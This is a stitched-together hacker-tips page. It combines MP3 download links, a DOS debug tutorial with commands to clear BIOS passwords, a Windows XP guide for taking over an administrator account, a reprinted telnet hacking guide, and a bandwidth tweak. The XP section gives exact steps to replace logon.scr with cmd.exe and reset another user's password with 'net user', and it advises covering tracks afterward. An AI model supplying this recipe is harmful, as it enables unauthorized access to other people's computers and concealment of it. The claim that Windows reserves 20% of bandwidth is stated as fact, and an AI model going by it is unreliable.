hAcK 2 hEart...

http://www.mp3dimension.com/search/1/in/da/club/?dnsa=1
http://www.emp3s.com/dsong.aspx?id=51539&rID=X82psy]http://www.emp3s.com/dsong.aspx?id=51539&rID=X82psy
http://www.mp3-find.com/]http://www.mp3-find.com/
http://www.emp3world.com/]http://www.emp3world.com/
http://zoek.vinden.nl/?where=mp3&vid=l8020222738I1102894906&refer=resultonline&sess=a3a3a303&query=21+questions&x=0&y=0]http://zoek.vinden.nl/?where=mp3&vid=l8020...estions&x=0&y=0
http://www.maxalbums.com/]http://www.maxalbums.com/

This is the one wot i use to download MP3's
http://zoek.vinden.nl/?where=mp3&vid=l8020222738I1102894906&refer=resultonline&sess=a3a3a303&query=21+questions&x=0&y=0

ebug: Learn how to crack windows, programs ect manually




Debug is a program that comes with modern versions of DOS (I do not know when I started shipping out with DOS). Anyway, all Windows users should have it already.

It's a great tool for debuging programs, unassembling and cracking, and reading "hidden" memory areas like the boot sector, and much more.

The following was copied from an assembly tutorial who's author we cannot credit, because we have no idea who he is.

Get into DOS and type "debug", you will get a prompt like this:
-

now type "?", you should get the following response:
assemble A [address]
compare C range address
dump D [range]
enter E address [list]
fill F range list
go G [=address] [addresses]
hex H value1 value2
input I port
load L [address] [drive] [firstsector] [number]
move M range address
name N [pathname] [arglist]
output O port byte
proceed P [=address] [number]
quit Q
register R [register]
search S range list
trace T [=address] [value]
unassemble U [range]
write W [address] [drive] [firstsector] [number]
allocate expanded memory XA [#pages]
deallocate expanded memory XD [handle]
map expanded memory pages XM [Lpage] [Ppage] [handle]
display expanded memory status XS

Lets go through each of these commands:
Assemble:

-a
107A:0100

At this point you can start assembling some programs, just like using a assembler. However the debug assembler is very limited as you will probably notice. Lets try to enter a simple program:

-a
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-g
A

Program terminated normally

That's the same program we did at the end of the previous chapter. Notice how you run the program you just entered with "g", and also notice how the set-up part is not there? That's because debug is just too limited to support that.
Another thing you can do with assemble is specify the address at which you want to start, by default this is 0100 since that's where all .COM files start.
Compare:

Compare takes 2 block of memory and displays them side by side, byte for byte. Lets do an example. Quite out of debug if you haven't already using "q". Now type "debug c:\command.com"

-c 0100 l 8 0200
10A3:0100 7A 06 10A3:0200

This command compared offset 0100 with 0200 for a length of 8 bytes. Debug responded with the location that was DIFFERENT. If 2 locations were the same, debug would just omit them, if all are the same debug would simply return to the prompt without any response.
Dump:

Dump will dump a specified memory segment. To test it, code that assembly program again:

C:\>debug
-a
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-d 0100 l 8
107A:0100 B4 02 B2 41 CD 21 CD 20
...A.!.

The "B4 02 B2 41 CD 21 CD 20" is the program you just made in machine language.

B4 02 = MOV AH,02
B2 41 = MOV DL,41
CD 21 = INT 21
CD 20 = INT 20

The "...A.!." part is your program in ASCII. The "." represent non-printable characters. Notice the A in there.
Enter:

This is one of the hard commands. With it you can enter/change certain memory areas. Lets change our program so that it prints a B instead of an A.
-e 0103 <-- edit program at segment 0103
107A:0103 41.42 <-- change 41 to 42
-g
B

Program terminated normally
-
Wasn't that amazing?
Fill:

This command is fairly useless, but who knows....
It fills the specified amount of memory with the specified data. Lets for example clear out all memory from segment 0100 to 0108, which happens to be our program.
-f 0100 l 8 0 <-- file offset 0100 for a length of 8 bytes with 0
-d 0100 l 8 <-- verify that it worked
107A:0100 00 00 00 00 00 00 00 00 .......
Yep, it worked.
Go:

So far we used go (g) to start the program we just created. But Go can be used for much more. For example, lets say we want to execute a program at 107B:0100:
-r CS <-- set the CS register to point to 107B
CS 107A
:107B
-g =100

You can also set breakpoints.
-a <-- enter our original program so we have something
107A:0100 MOV AH,02 to work with
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-g 102 <-- set up a break point at 107A:0102

At this point the program will stop, display all registers and the current instruction.
Hex:

This can be very useful. It subtracts and adds two hexadecimal values:
-h 2 1
0003 0001 <-- 2h + 1+ = 3h and 2h - 1h = 1h

This is very useful for calculating a programs length, as you will see later.
Input:

This is one of the more advanced commands, and I decided not to talk about it too much for now. It will read a byte of data from any of your computers I/O ports (keyboard, mouse, printer, etc).

-i 3FD
60
-

Your data may be different.
In case you want to know, 3FD is Com port 1, also known as First Asynchronous Adapter.
Load:

This command has 2 formats. It can be used to load the filename specified with the name command (n), or it can load a specific sector.

-n c:\command.com
-l

This will load command.com into debug. When a valid program is loaded all registers will be set up and ready to execute the program.
The other method is a bit more complicated, but potential also more usefull. The syntax is

L <address> <drive letter/> <sector> <amount to load>
-l 100 2 10 20

This will load starting at offset 0100 from drive C (0 = A, 1 = B, 2 = C, etc), sector 10h for 20h sectors. This can be useful for recovering files you deleted.
Move:

Move takes a byte from the starting address and moves it to the destination address. This is very good to temporary move data into a free area, than manipulate it without having to worry about affecting the original program. It is especially useful if used in conjunction with the r command to which I will get later. Lets try an example:
-a <-- enter our original program so we have something
107A:0100 MOV AH,02 to work with
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-m 107A:0100 L 8 107B:0100 <-- more 8 bytes starting from 107A:0100 into 107B:0100
-e 107B:0103 <-- edit 107B:0103
107B:0103 41.42 <-- and change it 42 (
-d 107A:0100 L 8 <-- make sure it worked
107A:0100 B4 02 B2 41 CD 21 CD 20 ...A.!.
-d 107B:0100 L 8
107A:0100 B4 02 B2 42 CD 21 CD 20 ...B.!.
-m 107B:0100 L 8 107A:0100 <-- restore the original program since we like the changes.
Name:

This will set debug up with a filename to use for I/O commands. You have to include the file extension, and you may use addition commands:

-n c:\command.com
Output:

Exactly what you think it is. Output sends stuff to an I/O port. If you have an external modem with those cool lights on it, you can test this out. Find out what port your modem is on and use the corresponding hex number below:

Com 1 = 3F8 - 3FF (3DF for mine)
Com 2 = 2F8 - 2FF
Com 3 = ??? - ??? (if someone knows, please let me know)

Now turn on the DTA (Data Terminal Ready) bit by sending 01h to it:
-o XXX 1 <-- XXX is the com port in hex

As soon as you hit enter, take a look at your modem, you should see a light light up. You can have even more fun with the output command. Say someone put one of those BIOS passwords on "your" computer. Usually you'd have to take out the battery to get rid of it, but not anymore:

MI/AWARD BIOS
-o 70 17
-o 71 17

QPHOENIX BIOS
-o 70 FF
-o 71 17

QGENERIC
-o 70 2E
-o 71 FF

These commands will clear the BIOS memory, thus disabling the password.
Proceed:

Proceeds in the execution of a program, usually used together withy Trace, which I will cover later. Like the go command, you can specify an address from which to start

using =address
-p 2

Debug will respond with the registers and the current command to be executed.
Quite:

This has got to be the most advanced feature of debug, it exits debug!

-q
Register:

This command can be used to display the current value of all registers, or to manually set them. This is very useful for writing files as you will see later on.

-r AX
AX: 011B
:5
-
Search:

Another very useful command. It is used to find the occurrence of a specific byte, or series of bytes in a segment. The data to search for can by either characters, or a hex value. Hex values are entered with a space or comma in between them, and characters are enclosed with quotes (single or double). You can also search for hex and characters with the same string:
-n c:\command.com <-- load command.com so we have some data to search in
-l
-s 0 l 0 "MS-DOS" <-- search entire memory block for "MS-DOS"
10A3:39E9 <-- found the string in 10A3:39E9

NOTE: the search is case sensitive!
Trace:

This is a truly great feature of debug. It will trace through a program one instruction at a time, displaying the instruction and registers after each. Like the go command you can specify where to start executing from, and for how long.
-a <-- yes, this thing again
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-t =0100 8

If you leave out the amount of instructions that you want to trace, you can use the proceed (p) to continue the execution as long as you want.
Unassemble:

Unassembles a block of code. Great for debugging (and cracking)
-u 100 L 8 <-- unassembles 8 bytes starting at offset 100
107A:0100 MOV AH,02 <-- debut's response
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
Write:

This command works very similar to Load. It also has 2 ways it can operate: using name, and by specifying an exact location. Refer to back to Load for more information.

NOTE: The register CX must be set the file size in order to write!
NOTE: Write will not write .EXE or .HEX files.[SIZE=7][SIZE=14]

This isnt a tweak, but a great little feature! For a great way to put your digital photos to work, try creating a slide show presentation for use as a screen saver. Here's how:

1. Right-click an empty spot on your desktop and then click Properties.

2. Click the Screen Saver tab.

3. In the Screen saver list, click My Pictures Slideshow.

4. Click Settings to make any adjustments, such as how often the pictures should change, what size they should be, and whether you'll use transition effects between pictures, and then click OK.

Now your screen saver is a random display of the pictures taken from your My Pictures folder.

How to hack Windows XP Admin Passwords the easy way by Estyle, Jaoibh
and Azrael.

------------------------------------------------------------------------------

This hack will only work if the person that owns the machine
has no intelligence. This is how it works:

When you or anyone installs Windows XP for the first time your
asked to put in your username and up to five others.

Now, unknownst to a lot of other people this is the only place in
Windows XP that you can password the default Administrator Diagnostic
Account. This means that to by pass most administrators accounts
on Windows XP all you have to do is boot to safe mode by pressing F8
during boot up and choosing it. Log into the Administrator Account
and create your own or change the password on the current Account.

This only works if the user on setup specified a password for the
Administrator Account.

This has worked for me on both Windows XP Home and Pro.

-----------------------------------------------------------------------------

Now this one seems to be machine dependant, it works randomly(don't know why)

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work
on the welcome screen of a normal booted machine)

-----------------------------------------------------------------------------

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

-----------------------------------------------------------------------------

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Telnet: the Number One Hacker Tool

In this Guide you will learn:
•    What is telnet?
•    How to telnet
•    How to get telnet accounts <begin11c.shtml>
•    Why you might not want to telnet <begin11c.shtml>
•    How to install a telnet server on your home Windows computer <begin11c.shtml>
•    How to turn off a telnet server on your home Linux computer <begin11d.shtml>
•    How to explore computers using telnet <begin11d.shtml>
•    Why not use a portscanner instead? <begin11f.shtml>
•    How to break into web sites using telnet <begin11f.shtml>
"Where do I type that command?" People ask that all the time when they read my early Guides to (mostly) Harmless Hacking. I wrote those guides back when the Internet was in its infancy and almost everyone in cyberspace used telnet. However, nowadays you might never even hear about telnet, much less use it, unless you are a hacker. So if you are still wondering about telnet, today is your lucky day.
What Is Telnet?
Telnet is a protocol that is most commonly used to log into a remote computer. It also is the single most powerful hacking tool on the planet. With just a telnet client program, you can:
•    send email
•    download source code from web sites
•    send unexpected input to webservers that can give you amazing and sometimes illegal results
•    give arbitrary input to many other services on Internet host computers
•    probe the services offered by servers, routers and even people's home computers.
How to Telnet
Don't know how to telnet? Click the easy telnet links at happyhacker.com and land in the middle of a real hacker wargame! This should work regardless of your computer operating system -- if you have an up to date browser, if your online service provider gives you a true Internet connection, and if your computer is able to telnet at all.
Did those links get you into a telnet session? Were you able to login to a remote computer? If yes, congratulations.
If not, how can you fix the problem? If no telnet program appeared on your monitor when you clicked these links, perhaps your browser is too ancient to allow telnet. Try installing the latest Netscape browser (<http://www.netscape.com/>). Or, perhaps your operating system does not include a telnet program. In that case, install or reinstall Windows 95 or 98. If you own a Mac, get the superb Mac OS X or Linux PPC (<http://www.linuxppc.com/>).
If a telnet program came up and failed to connect, possibly the computer you were trying to telnet into was down or just plain no longer in existence. Or, you may be using America Online (or a similar extremely poor online service). If so, your simplest solution may be to get a better online service provider. Determined to hack using AOL? See http://happyhacker.org/aol.shtml <../aol.shtml> for some ways to make AOL give you a true Internet connection.
OK, so you've managed to telnet for the first time. Presumably you don't want to limit yourself to telnet links on web sites. How do you telnet anywhere you want to go?
If you have Linux or any other type of Unix (BSD, SCO, Solaris, Sun OS, Irix, Ultrix, etc.) telneting is easy. Just bring up "console" or "shell" (or whatever your GUI calls the command line interface). At the prompt type:
telnet <hostname or IP address>
More on Telnet: the Number One Hacker Tool
Windows 2000 works pretty much like Unix. See Figure 1 for an example of a Win 2000 telnet login. Not shown on the screen was the command "telnet 10.0.0.10", which I gave at the Command (MS-DOS) prompt.
Figure 1: Telnet using Windows 2000
If you have Windows 95, 98 or NT, to telnet, bring up the MS-DOS prompt (Start --> Programs --> MS-DOS).

Click "connect" then "remote system…". In the host name box place the host name or IP address of the computer to which you wish to telnet. Leave the Port and Term Type boxes alone for now.
Here is a really important point. Every day people email me complaining that some computer won't let them telnet into it. They ask what they are doing wrong. They aren't doing anything wrong:
•    Maybe the computer they are trying to reach no longer exists.
•    Maybe the computer they are trying to reach doesn't allow telnet logins. For example, whois.internic.net no longer allows telnet logins on port 23 (the default port). Click here to learn how to telnet into whois.internic.net on the right port for that particular server. <../whois.shtml>
•    Maybe a firewall is blocking them.
•    Or maybe they make a telnet connection and the remote computer asks for a user name and password they don't have. Then they email me asking for how to get a login name and password that will work.
Newbie note: The owners or administrators of any Internet host computer decide who gets user names and passwords. Believe it or not, about once a week someone emails me asking what user name and password their own online service provider has assigned them for a telnet login. That's why I'm telling people the obvious -- if you want to telnet into any computer, and you don't have a user name and password, you must ask the owner, administrator of tech support for that system for a user name and password. If they won't give that to you, they don't want you to have it!
You can go to jail warning: If you guess the user name and password, or use a computer breakin technique to get or create them, or if someone other than an owner or administrator or a legitimate user on that system gives you a user name and password, it is against the law to use them. Many computer criminals give out user names and passwords that they obtained illegally.
More on Telnet: the Number One Hacker Tool
How to Get Telnet Accounts
OK, so you want to get legal user names and passwords so you can telnet into other computers. Here are some of the best ways:
•    See http://happyhacker.org/links2.shtml#shells <../links2.shtml> for organizations that will give you free shell accounts. You can telnet into these.
•    Ask Internet Service Providers for shell accounts. Some offer them, although most don't.
•    Set up a telnet server on your own computer (see instructions below). Yes, once you are running a telnet server, you can telnet from your computer back into your computer. Simply give the command "telnet 127.0.0.1".
•    Make friends with people who run Internet computers with telnet servers.
Why you May Not Want to Telnet
If you love your shell account server, don't ever, ever telnet or ftp into it. I recommend Ssh or Openssh for logging into remote computers? The telnet (and ftp) protocol is a "clear text" transmission. That means that computer on the same LAN as either You or your destination computer, or any computer on any LAN or network path through which your connection passes can steal your login name, password or anything else that goes across your connection. Ssh and OpenSsh encrypt all communications so no one can snoop on you.
How to Install a Telnet Server on your Windows Computer
Usually you can't telnet into a Windows home computer. The reason is, they aren't running telnet servers. Here's how to get a telnet server on your home Windows computers so your friends and you can telnet in and play.
For Windows NT, the Options Pack includes a primitive telnet server.
For Windows 95/98/NT and 2000, you also can install shareware or commercial telnet servers. Check out http://www.winfiles.com, or do a web search.
Of course installing a telnet server makes your computer vulnerable to all sorts of trouble from hackers. It's your funeral, don't come crying top me if a telnet visitor destroys your computer
More on Telnet: the Number One Hacker Tool
How to Turn off a Telnet Server on your Unix-type Computer
If you go online with Linux or other Unix-type computer, a telnet server is the easiest way to ensure you get destroyed by a malicious hacker. Here's how to prevent this. On most of these, the file /etc/inetd.conf launches most of your servers. Edit the file to put a "#" in front of the line that has telnet in it and either reboot your computer or kill and restart inetd.
If your computer doesn't use inetd to launch services, you should be able to find telnetd under /etc/init.d.
Install ssh instead and only use that to log into your shell account.
How to Explore Computers Using Telnet
Even if a computer doesn't have a telnet server, there are lots of fun and even legal things to do to it using telnet. The easiest thing to do is extract "banners" from a victim computer. A banner is a message a computer will often give when you telnet to a port that is running an Internet server of some sort.
For example, most mail sending servers use port 25. To telnet to port 25 from Win 2000 or a Unix shell, simply type:
telnet <hostname or IP address> 25
Windows 95, 98 and NT make it a tiny bit harder.

More on Telnet: the Number One Hacker Tool
If the victim computer is running a mail server, you will see something that looks like this:
Whoa, look at that! The victim computer told us what operating system (Windows NT) and mail server (Mercur) it runs!
A quick search of the Bugtraq archives at <http://www.securityfocus.com/> revealed horrid things a criminal could do to that Mercur mail server. Since I think it is more fun to be nice, I told someone at the company using this mail server about the problems. He invited me to vacation at his beautiful Swiss home, where he and his wife keep horses and take long trail rides in the Alps. Golly, that is much more fun than breaking into a computer!
Right about now some elite ueberhaxorz are probably reading this and saying "What a lamer Meinel is! We can do the same thing by running nmap."
They are right, you can learn the same things by running a port scanning program such as nmap (available at <http://www.insecure.org/>). However, I am quite careful about under what circumstances I run any port scanner. In order to get information on what programs are running on what ports, you must run a port scanner in a mode that will probably convince the owner of the victim computer that you are a criminal. He or she may persuade your online service provider to cancel your account.
The other reason to analyze computers using telnet is that you learn more. It's the difference between eating at McDonalds and learning how to cook.

More on Telnet: the Number One Hacker Tool
A quick search of the Bugtraq archives at <http://www.securityfocus.com/> revealed horrid things a criminal could do to that Mercur mail server. Since I think it is more fun to be nice, I told someone at the company using this mail server about the problems. He invited me to vacation at his beautiful Swiss home, where he and his wife keep horses and take long trail rides in the Alps. Golly, that is much more fun than breaking into a computer!
Right about now some elite ueberhaxorz are probably reading this and saying "What a lamer Meinel is! We can do the same thing by running nmap."
They are right, you can learn the same things by running a port scanning program such as nmap (available at <http://www.insecure.org/>). However, I am quite careful about under what circumstances I run any port scanner. In order to get information on what programs are running on what ports, you must run a port scanner in a mode that will probably convince the owner of the victim computer that you are a criminal. He or she may persuade your online service provider to cancel your account.
The other reason to analyze computers using telnet is that you learn more. It's the difference between eating at McDonalds and learning how to cook.
How to Break into Web Sites Using Telnet
You don't have to use a web browser to access files on a web site. All you need to do is:
telnet <victimcomputer> 80
Or specify port 80 in a Windows telnet.
If you are using Windows 95/98/NT, whenever you are NOT logging into a telnet account, you should enable local echo. Otherwise whatever you type in (unless you are in a telnet account) will not show on the screen. To enable local echo, click Terminal --> Preferences --> Local Echo.
So how do you send stuff back to the webserver? Try this:
GET / HTTP/1.0
<your command here>
What kinds of commands can you send? The book Hackproofing Your Network <../bookstore/general.shtml> (by Ryan Russell of Securityfocus.com and Stance Cunningham) suggests a fun and harmless hack. Create and store a bogus cookie in the location on your web browser that stores cookies. (Find it by searching for the file "cookies.txt".) Name your bogus cookie something like "MyBogusCookie." Then telnet to the victim webserver and give something like this command:
GET / HTTP/1.0
User-Agent: HaveABogusCookieThisIsAJoke 123.4
Cookie: /; MyBogusCookie
The Überhacker! -- How to Break into Computers <../uberhacker/index.shtml> book details a number of serious attacks you can perform through sending funny input to a webserver. Basically, you need to learn how to write shell programs, and then find ways to get them to be run by the webserver. I'm not going to explain them here, however. These attacks, when carried out against a vulnerable webserver, are so easy that little kids could do them, and I don't want to be responsible for their behavior. It's much harder for little kids to get a hold of Russell's and my books than it is for them to read this GTMHH on the Happy Hacker website.
So are you dying to know what to send a webserver in order to break into it, without having to buy a book? Here are some hints. How to do this will depend on what webserver it is, what operating system it runs on, whether its security weaknesses have been fixed, and whether the web designer has used things such as Common Gateway Interface (CGI) or Server Side Includes (SSIs) that have weaknesses in them.
You will have to research these issues at Web sites that archive vulnerabilities and exploits such as <http://www.securityfocus.com/> and <http://packestorm.securify.com/>. You will need to study web site programming (HTML -- hypertext markup language, CGI and SSIs) and shell programming. You will need to learn webserver commands (documented at <http://www.w3.org/hypertext/WWW/markup/Markup.html>). You will have to use your brain and be persistent.
But at least if you come across a telnet exploit, now you know the answer to the question "where do I type that command?"

                                                               Tricks from Pankaj singh            















 Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc

You can get it back:

Click Start then Run and type "gpedit.msc" without quotes. This opens the group policy editor.

Then go to:
--> Local Computer Policy
--> Computer Configuration
--> Administrative Templates

--> Network

--> QOS Packet Scheduler

--> Limit Reservable Bandwidth.

Double click on Limit Reservable bandwidth.

 It will say it is not configured, but the truth is under the 'Explain' tab i.e." By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.